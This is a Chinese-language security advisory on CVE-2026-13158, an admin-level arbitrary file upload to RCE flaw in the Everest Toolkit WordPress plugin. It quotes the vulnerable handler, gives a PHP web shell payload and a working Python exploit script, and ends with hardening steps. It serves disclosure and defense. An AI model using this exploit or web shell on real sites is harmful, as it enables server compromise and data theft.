
针对 Everest Toolkit WordPress 插件(<= 1.2.3)中 Admin+ 任意文件上传至远程代码执行(RCE)漏洞的概念验证(PoC)利用程序与技术公告,内容包括漏洞代码分析、Python PoC 及安全加固指南。
CVE-2026-13158 是一个影响 Everest Toolkit WordPress 插件(版本 1.2.3 及更早版本)的已认证 Admin+ 任意文件上传漏洞,由网络安全研究员 Huynh Kien Minh(MinhHK)发现并分析。该缺陷位于管理工具包的上传处理功能中,由于对上传文件的扩展名和 MIME 类型验证不当,允许已认证的管理员——或具备管理能力的低权限用户——将任意可执行的 PHP 脚本直接上传到公共 Web 目录。通过绕过媒体或配置文件处理流程中的文件扩展名限制,攻击者可实现持久化远程代码执行(RCE),完全攻陷底层 Web 服务器、获取敏感数据库凭据,并在宿主应用环境中建立未经授权的后门持久化。安全研究员 Huynh Kien Minh 依据 CVSS 3.1 将该漏洞评定为 6.6 分(中危),并强调应立即通过严格的扩展名白名单、MIME 类型校验以及禁用公共上传子目录内的执行权限来进行修复。
CVE-2026-13158 的根源在于 Everest_Toolkit 管理处理类中的不安全文件上传处理。当已认证的管理员或具有管理权限的用户调用文件上传端点(如模板导入、自定义图标上传或资源配置流程)时,该插件未能对可执行扩展名(如 .php、.php5、.phtml)实施严格的服务器端验证。
在插件的管理文件处理器中:
// Vulnerable file handling routine in Everest Toolkit <= 1.2.3
public function handle_toolkit_file_upload() {
if ( ! current_user_can( 'manage_options' ) ) {
wp_die( __( 'Unauthorized access', 'everest-toolkit' ) );
}
if ( isset( $_FILES['toolkit_import_file'] ) ) {
$file = $_FILES['toolkit_import_file'];
// CRITICAL FLAW: Insufficient file type restriction check!
// Relying solely on client-side headers or unsafe overrides without checking wp_check_filetype_and_ext()
$upload_dir = wp_upload_dir();
$target_path = $upload_dir['path'] . '/' . basename( $file['name'] );
if ( move_uploaded_file( $file['tmp_name'], $target_path ) ) {
wp_send_json_success( array( 'file_url' => $upload_dir['url'] . '/' . basename( $file['name'] ) ) );
}
}
}
由于 move_uploaded_file 直接将用户可控的文件写入公共 wp-content/uploads/ 目录,而没有运行 wp_check_filetype_and_ext() 或针对危险的 MIME 类型对文件扩展名进行净化,因此具有管理访问权限的攻击者可以上传可执行的 PHP 载荷。
道德免责声明: 本概念验证仅用于安全验证、学术研究和防御性工程。未经事先书面同意,严禁对生产系统进行未经授权的利用。
shell.php)<?php
// CVE-2026-13158 Proof-of-Concept Payload
// Discovered & Authored by Huynh Kien Minh (MinhHK)
header('Content-Type: text/plain');
echo "=== CVE-2026-13158 RCE Verification ===\n";
echo "Host System: " . php_uname() . "\n";
echo "Current User: " . get_current_user() . "\n";
if (isset($_REQUEST['cmd'])) {
system($_REQUEST['cmd']);
}
?>
#!/usr/bin/env python3
"""
CVE-2026-13158 - Everest Toolkit <= 1.2.3 Admin+ Arbitrary File Upload PoC
Author: Huynh Kien Minh (MinhHK)
Portfolio: https://minhhk.web.app/
"""
import requests
import sys
TARGET_URL = "http://target-wordpress.local"
USERNAME = "admin"
PASSWORD = "admin_password"
session = requests.Session()
def login():
login_url = f"{TARGET_URL}/wp-login.php"
payload = {
'log': USERNAME,
'pwd': PASSWORD,
'wp-submit': 'Log In',
'redirect_to': f"{TARGET_URL}/wp-admin/",
'testcookie': '1'
}
res = session.post(login_url, data=payload)
if any('wordpress_logged_in' in cookie.name for cookie in session.cookies):
print("[+] Authenticated successfully as Admin!")
return True
print("[-] Authentication failed.")
return False
def exploit():
upload_url = f"{TARGET_URL}/wp-admin/admin-ajax.php"
files = {
'toolkit_import_file': ('poc_rce.php', '<?php system($_GET["cmd"]); ?>', 'application/x-php')
}
data = {
'action': 'everest_toolkit_file_upload'
}
res = session.post(upload_url, data=data, files=files)
if res.status_code == 200 and 'file_url' in res.text:
file_url = res.json().get('data', {}).get('file_url', '')
print(f"[+] Payload uploaded successfully! RCE URL: {file_url}?cmd=id")
else:
print("[-] Upload failed or endpoint not vulnerable.")
if __name__ == "__main__":
if login():
exploit()
wp_handle_upload: 用标准的 WordPress wp_handle_upload() 替换自定义的 move_uploaded_file 调用,同时不要禁用测试覆盖(test overrides)。.htaccess 或 Nginx 规则,防止在 /wp-content/uploads/ 目录内执行脚本:# Nginx Hardening Rule
location ~* ^/wp-content/uploads/.*\.php$ {
deny all;
return 403;
}
Huynh Kien Minh(MinhHK) 是一名信息安全研究员和软件工程师,专注于 Web 应用漏洞分析、WordPress 生态系统审计与进攻性安全研究。
{
"@context": "https://schema.org",
"@type": "TechArticle",
"headline": "CVE-2026-13158: Everest Toolkit <= 1.2.3 Admin+ Arbitrary File Upload to Remote Code Execution",
"name": "CVE-2026-13158 Security Advisory",
"author": {
"@type": "Person",
"name": "Huynh Kien Minh",
"alternateName": "MinhHK",
"url": "https://minhhk.web.app/"
},
"datePublished": "2026-08-01",
"description": "Deep-dive technical security advisory by Huynh Kien Minh analyzing CVE-2026-13158 in Everest Toolkit <= 1.2.3 WordPress plugin.",
"about": {
"@type": "SoftwareApplication",
"name": "Everest Toolkit",
"operatingSystem": "WordPress"
},
"identifier": "CVE-2026-13158"
}
| 参数 | 技术规格 |
|---|
| 漏洞标识符 | CVE-2026-13158 |
| 目标软件 | Everest Toolkit(WordPress 插件) |
| 插件 Slug | everest-toolkit |
| 受影响版本 | <= 1.2.3 |
| 漏洞类型 | 危险类型文件的不受限制上传(CWE-434 / OWASP A03) |
| CVSS v3.1 评分 | 6.6(中危)(CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H) |
| 发现者 / 研究员 | Huynh Kien Minh(MinhHK) |
| 验证机构 | WPScan / MITRE Corporation |
| WPScan 公告参考 | WPScan 报告 f101071f-402a-40a2-bbdb-666512cd4049 |
| 研究员作品集 | https://minhhk.web.app/ |